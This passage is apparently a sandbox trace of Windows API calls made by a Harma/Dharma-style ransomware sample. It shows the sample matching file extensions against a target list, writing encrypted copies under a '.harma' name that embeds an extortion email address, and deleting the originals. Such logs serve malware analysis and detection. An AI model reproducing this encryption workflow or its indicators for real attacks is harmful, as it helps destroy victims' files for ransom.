Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.151] lstrlenW (lpString=".doc") returned 4 [0058.151] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.152] lstrlenW (lpString=".docx") returned 5 [0058.152] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.152] lstrlenW (lpString=".pdf") returned 4 [0058.152] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString=".xls") returned 4 [0058.152] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString=".xlsx") returned 5 [0058.152] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.152] lstrlenW (lpString=".ppt") returned 4 [0058.152] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.152] lstrlenW (lpString=".zip") returned 4 [0058.152] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString=".rar") returned 4 [0058.152] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString=".bz2") returned 4 [0058.152] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.152] lstrlenW (lpString=".7z") returned 3 [0058.152] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.152] lstrlenW (lpString=".dbf") returned 4 [0058.152] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.152] lstrlenW (lpString=".1cd") returned 4 [0058.152] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.152] lstrlenW (lpString=".jpg") returned 4 [0058.152] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString=".doc") returned 4 [0058.153] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.153] lstrlenW (lpString=".docx") returned 5 [0058.153] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.153] lstrlenW (lpString=".pdf") returned 4 [0058.153] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.153] lstrlenW (lpString=".xls") returned 4 [0058.153] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.153] lstrlenW (lpString=".xlsx") returned 5 [0058.153] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.153] lstrlenW (lpString=".ppt") returned 4 [0058.153] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString=".zip") returned 4 [0058.153] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.153] lstrlenW (lpString=".rar") returned 4 [0058.153] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.153] lstrlenW (lpString=".bz2") returned 4 [0058.153] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.153] lstrlenW (lpString=".7z") returned 3 [0058.153] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString=".dbf") returned 4 [0058.153] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString=".1cd") returned 4 [0058.153] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.153] lstrlenW (lpString=".jpg") returned 4 [0058.153] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.154] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0058.154] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0058.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.155] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=60724) returned 1 [0058.155] CloseHandle (hObject=0x214) returned 1 [0058.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0058.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.155] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.155] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0058.155] GetLastError () returned 0x0 [0058.155] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xed34, lpOverlapped=0x0) returned 1 [0058.157] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0058.159] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.159] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.159] SetEndOfFile (hFile=0x1d0) returned 1 [0058.159] CloseHandle (hObject=0x1d0) returned 1 [0058.160] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.160] SetEndOfFile (hFile=0x214) returned 1 [0058.161] CloseHandle (hObject=0x214) returned 1 [0058.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.161] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0058.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.161] lstrlenW (lpString=".doc") returned 4 [0058.162] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.162] lstrlenW (lpString=".docx") returned 5 [0058.162] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.162] lstrlenW (lpString=".pdf") returned 4 [0058.162] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.162] lstrlenW (lpString=".xls") returned 4 [0058.162] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.162] lstrlenW (lpString=".xlsx") returned 5 [0058.162] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.162] lstrlenW (lpString=".ppt") returned 4 [0058.162] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.162] lstrlenW (lpString=".zip") returned 4 [0058.162] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.162] lstrlenW (lpString=".rar") returned 4 [0058.162] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.162] lstrlenW (lpString=".bz2") returned 4 [0058.162] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.162] lstrlenW (lpString=".7z") returned 3 [0058.162] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.162] lstrlenW (lpString=".dbf") returned 4 [0058.162] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.162] lstrlenW (lpString=".1cd") returned 4 [0058.162] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.162] lstrlenW (lpString=".jpg") returned 4 [0058.162] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.163] lstrlenW (lpString=".doc") returned 4 [0058.163] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString=".docx") returned 5 [0058.163] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.163] lstrlenW (lpString=".pdf") returned 4 [0058.163] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString=".xls") returned 4 [0058.163] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.163] lstrlenW (lpString=".xlsx") returned 5 [0058.163] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.163] lstrlenW (lpString=".ppt") returned 4 [0058.163] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.163] lstrlenW (lpString=".zip") returned 4 [0058.163] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.163] lstrlenW (lpString=".rar") returned 4 [0058.163] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.163] lstrlenW (lpString=".bz2") returned 4 [0058.163] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString=".7z") returned 3 [0058.163] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.163] lstrlenW (lpString=".dbf") returned 4 [0058.163] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.163] lstrlenW (lpString=".1cd") returned 4 [0058.163] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0058.164] lstrlenW (lpString=".jpg") returned 4 [0058.164] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.164] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0058.164] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0058.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.164] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2552) returned 1 [0058.164] CloseHandle (hObject=0x214) returned 1 [0058.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0058.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.165] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.165] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0059.322] GetLastError () returned 0x0 [0059.322] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0059.324] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0059.325] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.325] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.325] SetEndOfFile (hFile=0x1d0) returned 1 [0059.325] CloseHandle (hObject=0x1d0) returned 1 [0059.325] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.325] SetEndOfFile (hFile=0x214) returned 1 [0059.326] CloseHandle (hObject=0x214) returned 1 [0059.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.326] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0059.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.327] lstrlenW (lpString=".doc") returned 4 [0059.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.327] lstrlenW (lpString=".docx") returned 5 [0059.327] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.327] lstrlenW (lpString=".pdf") returned 4 [0059.327] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.327] lstrlenW (lpString=".xls") returned 4 [0059.327] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.327] lstrlenW (lpString=".xlsx") returned 5 [0059.327] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.327] lstrlenW (lpString=".ppt") returned 4 [0059.327] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.327] lstrlenW (lpString=".zip") returned 4 [0059.327] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.327] lstrlenW (lpString=".rar") returned 4 [0059.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.327] lstrlenW (lpString=".bz2") returned 4 [0059.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.327] lstrlenW (lpString=".7z") returned 3 [0059.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString=".dbf") returned 4 [0059.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString=".1cd") returned 4 [0059.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString=".jpg") returned 4 [0059.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString=".doc") returned 4 [0059.328] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.328] lstrlenW (lpString=".docx") returned 5 [0059.328] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.328] lstrlenW (lpString=".pdf") returned 4 [0059.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString=".xls") returned 4 [0059.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString=".xlsx") returned 5 [0059.328] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.328] lstrlenW (lpString=".ppt") returned 4 [0059.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.328] lstrlenW (lpString=".zip") returned 4 [0059.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString=".rar") returned 4 [0059.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.328] lstrlenW (lpString=".bz2") returned 4 [0059.328] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.328] lstrlenW (lpString=".7z") returned 3 [0059.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.329] lstrlenW (lpString=".dbf") returned 4 [0059.329] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.329] lstrlenW (lpString=".1cd") returned 4 [0059.329] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0059.329] lstrlenW (lpString=".jpg") returned 4 [0059.329] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.329] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.329] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.330] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5179) returned 1 [0059.330] CloseHandle (hObject=0x214) returned 1 [0059.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0059.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.330] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.330] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0059.332] GetLastError () returned 0x0 [0059.332] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x143b, lpOverlapped=0x0) returned 1 [0059.334] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0059.335] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.335] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.335] SetEndOfFile (hFile=0x1d0) returned 1 [0059.335] CloseHandle (hObject=0x1d0) returned 1 [0059.335] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.335] SetEndOfFile (hFile=0x214) returned 1 [0059.336] CloseHandle (hObject=0x214) returned 1 [0059.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.336] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 